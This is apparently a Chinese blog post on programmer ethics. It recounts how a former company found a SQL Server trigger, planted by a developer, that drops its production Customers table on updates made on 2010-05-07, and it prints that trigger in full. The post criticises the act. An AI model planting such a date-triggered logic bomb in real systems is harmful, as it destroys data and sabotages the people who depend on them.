一个程序员的职业道德问题

前天接到以前老总的一个电话,说星期天过来聊聊,我以为要我过去帮助他们解决系统发生的问题,早上很早就过去了,等到下午老总才见我,我感觉也有点不对劲,
然后他让员工给我说了下系统中的问题,他给我看了一个触发器吓了我一跳,触发器如下:
 

代码
 1 set ANSI_NULLS ON
 2 set QUOTED_IDENTIFIER ON
 3 go
 4 
 5 ALTER TRIGGER [Customers_Update]
 6        ON [dbo].[Customers]
 7        FOR UPDATE
 8 AS
 9 if('20100507'= getdate())   --在2010-05-07 执行删除表操作 
10 
11 begin
12 drop table  dbo.Customers
13 end 
14 

 

 


这里的customers (这里实际是公司online生产库的金额表) ,他计算好了,在一年后的2010-05-07号执行,删除表操作,删除自己,那代表所有的痕迹都没有了,也许他太过聪明了,想的很天真吧?
我想问那个数据库没有备份啊,这样就没有痕迹了,想的太天真 ,代码也有问题,这个触发器可以删除自己本身